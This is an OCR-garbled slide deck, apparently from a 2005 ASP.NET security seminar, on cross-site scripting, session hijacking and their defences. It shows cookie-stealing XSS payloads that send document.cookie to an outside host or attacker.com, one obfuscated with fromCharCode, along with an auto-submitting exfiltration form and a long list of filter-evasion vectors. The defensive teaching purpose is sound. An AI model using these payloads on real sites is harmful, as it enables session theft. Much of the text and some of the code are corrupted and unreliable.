o Webg* #25 5 % L ehikik 2 -
e WX T i LextY F, @ 45 :FBl.gov, CNN.com, Time.com,
Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, £2

Newsbytes
& ¥ X 1072513 g 2h At F TR XSS ik
FEXXSITHF e ERY, HHE, T, E > >F 0.
e Cross-Site Scriptingrz # #i-;\
— %B’»a&‘é‘ 3y —"2 i X F i (¢ 35 SessionlD, Cookies)

ERRT, BT R p F R MR 0 3 W), R

7 31 F...



Cross-Site Scriptingsc & + /&

a GuestBook - Microsoit Internet Explorer E”Elrs__(l
wEE REE WEO BESEW ITHEO A "
D O MR P Jranee @ue & - B B
FBAED) | €] hitp:iocalhostBad ChoestBookiGestBonk aspx v B isE Ew 7
EEE AR \
Narme! 1. <script>document.location.href="http://tw.yahoo.com';</script>
2. <script>
3. <div style="display: none">
FTA F5 200485 F2F 12:07:39
HiiEER

John F5 200485 FEF12:07:39
12345

Test FO 200485 F5F12:07:38 T
ABC

<
FAES: & ira P ERiEES

]
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fﬁj P~Cookietripliz — & eif 22 U F|enlpe |

<a href="http://140.92.18.142/BadSearch/Search.aspx?Search=<script
language="javascript'>document.location.href="http://140.92.18.142/BadSea
rch/GetCookiel.aspx?Cookie='%2Bdocument.cookie;</script>">...</a>

D) |&] hnp;mmaumﬁﬂadm\ \‘ Vs el "
Ct L I IPedoid guammesmn
#yCookie

% mumene i 00

N\

<a href="http://140.92.18.142/BadSearch/Search.aspx?Search=<script
language="javascript'>document.location.href="http://140.92.18.142/BadSearch/Middle
Page.aspx?Cookie="%2Bdocument.cookie;</script>">...</a>
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b

R SR R R

B FIEE Bl 7P GetPrize.htm - 3B#F (HTML) o ] 21|
P WEE SEE BRO EAD #H0 TED HiTW HEH
ia@E®ﬁ3ﬂMﬁ@nawmmusai%ivuﬁnaXi4~¢-ﬁi%;®!
B 3 tihs [tthe@ii org tw] FFFAEA:  Thu 5/12/2005 2:19 PM
riEs:  tihe
Sl
5 EETEETEHE GetPrize him
]
-r:ifx-
G\\c}{‘ |
@oog Qe
[
st — a ;@éﬁﬁﬁ
: % 7r\‘“\
< farm >
—
s
SN \
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FiEY B F Bi%Cookied| 5% %
gk ]

A

4

e MiddlePage.aspx

<FORM action=http://140.92.18.142/BadSearch/GetCookie2.aspx
method=post id="idForm">

<INPUT name="cookie" type="hidden">

</FORM>

<SCRIPT>
idForm.cookie.value=document.cookie;
idForm.submit();

</SCRIPT>
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FE_3% Cross-Site Scriptingrc & end 373 ;2

i %éﬁ.zi f% )ﬁ'-?g'égﬁ M éf?zgf ﬁﬁl-éﬂ_:@i P\ é; ‘ﬂ<“ Ear]cj">ﬂ'

o @ E[A %J‘! T i

<script language=JScript RUNAT=Server>

var strUserName = Request.QueryString("Name");

</script>

) T

{55 F &t A .Freddy"); alert(document.cookie); *

<img src=pic.jpg
onmouseover='doWork("<%=strUserName%>");"'>

. 1

l
—

<img src=pic.jpg onmouseover="doWork("Freddy");

alert(document.cookie); ");">

AEH R ESRE “ErEn4de” B
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% #8 Cross-Site Scriptingzc ¥ = /2 (- )

e <a href="javas&#99;ript&#35;[code]">

e <divonmouseover="[code]">

e <img src="javascript:[code]">

e <img dynsrc="javascript:[code]">

e <input type="image" dynsrc="javascript:[code]">
e <bgsound src="javascript:[code]">

e &c<script>[code]</script>

* &{[code]};

e <img src=&{[code]};>

e <link rel="stylesheet" href="javascript:[code]">
e <iframe src="vbscript:[code]">

e <imgsrc="mocha:[code]">
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% ## Cross-Site Scriptingzc & = j& (= )

e <img src="livescript:[code]">

e <a href="about:<s&#99;ript>[code]</script>">
 <meta http-equiv="refresh" content="0;url=javascript:[code]">
e <body onload="[code]">

e <div style="background-image: url(javascript:[code]);">
e <div style="behaviour: url([link to code]);">

e <div style="binding: url([link to code]);">

e <div style="width: expression([code]);">

o <style type="text/javascript">[code]</style>

e <object classid="clsid:..." codebase="javascript:[code]">
o <style><!--</style><script>[code]//--></script>

o <I[CDATA[<!--]]><script>[code]//--></script>
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% ## Cross-Site Scriptingzc & = % (=)

<l-- -- --><script>[code]</script><!-- -- -->
<<script>[code]</script>

<img src="blah"onmouseover="[code]">

<img src="blah>" onmouseover="[code]">

<xml src="javascript:[code]">

<xml id="X"><a><b>&lt;script>[code]&lt;/script>;</b></a>
</xml>

<div datafld="b" dataformatas="html" atasrc="#X"></div>
[\XCO][\xBC]script>[code][\xCO][\xBC]/script>



% ## Cross-Site Scriptingzc & = j& (2 )

« "EaiAgil 5 E R Script

<a href="http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html|?
tw=<script>document.location.replace('http://attacker.com/steal.cgi?'+
document.cookie);</script>" onMouseOver="window.status="http://www.cnn.
% com/2002/SHOWBIZ/News/05/02/clinton.talkshow.reut/index.html';return true"

=4 ONMouseOut="window.status=";return true"> Check this CNN story out!</a>
SRAE e @ @ [ = @ B
D) @h@;xmcmwwm v e EE T
Check thiz CNN story out!
)
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<a href= “http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html?tw=
<script>var u = String.fromCharCode(0x0068);u %2B=
String.fromCharCode(0x0074);u %2B= {xcing.fromCharCode(0x0074);

u %2B= String.fromCharCode(0x0070); B= String.fromCharCode(0x003A);

u %2B= String.fromCharCode(0x002F); String.fromCharCode(0x002F);

u %2B= String.fromCharCode(0x0061);u ring.fromCharCode(0x0074);

u %2B= String.fromCharCode(0x0074);u g.fromCharCode(0x0061);

u %2B= String.fromCharCode(0x0063);u romCharCode(0x006B);

u %2B= String.fromCharCode(0;
u %2B= String.fromCharCode(0; ]
u %2B= String.fromCharCode(0f ttp://attacker.com/steal.cgi?

u %2B= String.fromCharCode(0

u %2B= String.fromCharCode(0

u %2B= String. fromCharCode(OxOO61) u %2B= Strlng fromCharCode(OxOOGC)

u %2B= String.fromCharCode(0x002E);u %2B= String.fromCharCode(0x0063);
u %2B= String.fromCharCode(0x0067);u %2B= String.fromCharCode(0x0069);
u %2B= String.fromCharCode(0x003F);u %2B=
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7 & Ju Pagesi\ValidateRequest/§ 14.2% T_= False
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I EE Rt i”%l » en1% kL TextBox, Url, Cookie, HTTP Header
o v » Ymif
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78 eMaxLength & 1%
. ;%fCookleP e @

o T fEEE L AAITELE
%3Cscr|pt%3EaIert document.cookie%29%3C%2Fscript%3E
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<script>alert(document.cookie)</script>
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Session Hijackingzz & -3¢

e JFiBlSessionID/ %B’»SessionlD Cookie —
. v 8 * Cookieless Session

- X T X ek iy - Identity Spoofing
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Fe_3%Session Hijackingsz # e /&

£ & enF AL 2 & 733 A Cookie

iz * ASP.NET#g 3k ¢77120-bit SessionlID

iz * SSL(Secure Socket Layer) 3£ SessionID Cookie(2-100% =% )
%*ﬁ%‘zSessioniiEP (FE3K 5 204 41)

4% Session 17 3T . ASP.NET StatefR 7%, 3z ¥ b FF Port 424247 *¢
s}

4 % Session 13 *x %.SQL ServerfR 3%, 3 (¥ B B Port 1433fPort
143473 %}
4+SessionID T 4 {7 3203 AT



sessionStatezy E &

e sessionState

— 7\

T

a2 1€ - Off, InProc (5% {H),
SQLServer,StateServer

Web Farm

-

sessionState="SQLServer"

[

»

Port:1433
1434

sessionState="StateServer"

AEH R EdRiE “E R Ee”

Borr

Port:42424

5-142



¥}SessionID3e % d® (- )

e (¢ * HttpHandlerfrHttpModuled # :& J! Web Server 3t 4
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HttpModulel

HttpModule2

HttpModuleN
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¥SessionID#e 45 32 (= )

FE—XRequest
s =2 SecureSessionlD | .==, | SessionStateModule )
& &
SessionID+MAC SessionID
5~ XRequest
SessionID+MAC SessionID
= =
4_&““_’% SecureSessionID A SessionStateModule )
RERM
|

5[ S5



$+SessionID3e & A2 (= )

<configuration>
<system.web>
<httpModules>
<add name="SecureSession|D"
type="MACSessionID.AppendMACSessionID, MACSessionID" />
</httpModules>
</system.web>
</configuration>
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#] T4, 7 7% ehHttpModule(z )

Imports System.Web

Imports System.Configuration

Imports System.Text

Imports System.Security.Cryptography
Imports System.lO

Public Class AppendMACSessionID
Implements IHttpModule
Public Sub Init(ByVal context As System.Web.HttpApplication) _
Implements System.Web.IHttpModule.Init
AddHandler context.BeginRequest, AddressOf OnBeginRequest
AddHandler context.EndRequest, AddressOf OnEndRequest
End Sub

End Class



fe J® BeginRequest ¥ i (7 )

Private Sub OnBeginRequest(ByVal sender As Object, ByVal e As EventArgs)
Dim Request As HttpRequest = CType(sender, HttpApplication).Request
Dim Cookie As HttpCookie = FindCookie(Request.Cookies, "ASP.NET_Sessionld")
If Not Cookie Is Nothing Then
If Cookie.Value.Length <= 24 Then
Throw New Exception("4E & 5 2~")
End If
Dim id As String = Cookie.Value.Substring(0, 24)
Dim macl As String = Cookie.Value.Substring(24)

Dim mac2 As String = GenerateMac(id, Request.UserHostAddress,
Request.UserAgent)

If String.CompareOrdinal(macl, mac2) <> 0 Then
Throw New Exception("4E & 5 2~")
End If
Cookie.Value =id
End If
End Sub



fd® EndRequest ¥ 2 (=

Private Sub OnEndRequest(ByVal sender As Object, ByVal e As EventArgs)

Dim request As HttpRequest = CType(sender, _
HttpApplication).Request

Dim cookie As HttpCookie = FindCookie(CType(sender, _
HttpApplication).Response.Cookies, "ASP.NET Sessionld")

If Not cookie Is Nothing Then

cookie.Value = cookie.Value & GenerateMac(cookie.Value, _
request.UserHostAddress, request.UserAgent)

End If
End Sub
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Parameterized Query:& {7 3% it

B R w40 SROE, S LB E ek PIRE )
, T npu'w F2E o

B RFOREY PR E AF AR o

L K 1 >, 55 4] & F @ * Strong Password °

#-web.configk F_4% ¢ otk 55/ B8 T AL 3 FIWindows g £ F
IL P oo

B¢ B 4 xb eriTracefrDebug# it ©
¥F ¢, 1# * Cookieless Session °

g

3



PRI T F P~ RFR

e ValidateRequest /& &
— IR E 5 True
— ¥ R FRF R FE O javascriptiF 2 F(BlAeim E A4
FPRTP )RR ZEL False

o HttpUtility#g %] emUrlEncode/HtmlEncode =
Y id %@’;j e S 2
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% 2T R IED 2

e i * Stored Procedure i Parameterized Query ¥t 3 B i {7 4 1
Dim strConn As String ="..."
Dim strSQL As String = "Member_Insert"
Dim conn As SglConnection = New SglConnection(strConn)
Dim cmd As SglCommand = New SqlCommand(strSQL, conn)
cmd.CommandType = CommandType.StoredProcedure
Dim p1 As SqlParameter = New SqglParameter("@UserName", _
SqlDbType.NVarChar, 16)
pl.Direction = ParameterDirection.Input
pl.Value = txtUserName.Text
cmd.Parameters.Add(p1)
conn.Open()
Dim num As Integer = cmd.ExecuteNonQuery()
MessageBox.Show(num & " & ;e 4773 = 74 1")
cmd.Dispose()
conn.Close()
conn.Dispose()
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¢ * Regular Expression& L
Strong Password

Imports System.Text.RegularExpressions
If Regex.IsMatch (txtPassword.Text, _
(2= 5\d)(?=.*[a-z1) (P=.*[A-Z])" & _
‘= F\ANNNS\NNNNON |~ @#%&_ ={}:; *,/]).{8,16}5") Then
MessageBox.Show(" i+ #x!")
Else
MessageBox.Show(" 4% 2&-1")
End If
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o & * Windows NT# & %
FRFPE DT A

£
e 4 Web.config® % %% ~ ‘”F’T}ﬂ‘:iﬁ sIWindows
e B B 25

<identity impersonate="true"
userName="someuser" password="tosecret" />

o #web.configtfh & ¢ ehUserName, Password
3 P|Windows g 4% 3 3 ¥
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o T ¥ % #aspnet_setreg.exedr i
(http://support.microsoft.com/default.aspx?scid=kb;en-us;Q329290#3)

I
aspnet_setreg —k:software\ASP.NET Web i * 4z ;% - fi-\ldentity
-u:tE B -p: 2 4G
e 3 :xWeb.config, 4r » <identity>1& #
<identity impersonate="true"
userName="registry:HKLM\software\WebApplication1\Identity
\ASPNET SETREG,userName"
password="registry:HKLM\software\WebApplication1\ldentity
\ASPNET SETREG,password" />
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\Microsoft.NET\Framework\%~ & \Temporary ASP.NET Files P 4%
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T g cE BeonE f
HKEY LOCALMACHINE\software\WebApplication1\ldentity\ASPNE
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b B 3=t criTracefrDebugs s

e |8 FFTraces s¢

<trace enabled="false" requestLimit="10" pageOutput="false"
traceMode="SortByTime" localOnly="true" />

o [ ¥ Debugs* it
<compilation defaultLanguage="vb" debug="false" />

o A FcustomErrorsik T_
<customErrors mode="RemoteOnly" />



¥ & 8 * Cookieless Session

<configuration>
<system.web>
<sessionState
mode="InProc"
stateConnectionString="tcpip=StateServerlP:42424"
sglConnectionString=
"data source=SQLServere7IP;user id="tk 5.;password=% 7§ "

cookieless="false"
timeout="20" />

</system.web>

<configuration>
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e Write Secure Code
e ASP.NET Security: 8 Ways to Avoid Attack
 Improving Web Application Security: Threats and Countermeasures

e Secure Architecture Design Methodologies

e  When Output Turns Bad: Cross-Site Scripting Explained
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http://www.microsoft.com/taiwan/msdn/eventsdownload/default.htm
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et 7R 0 Web Security > FiUsE X
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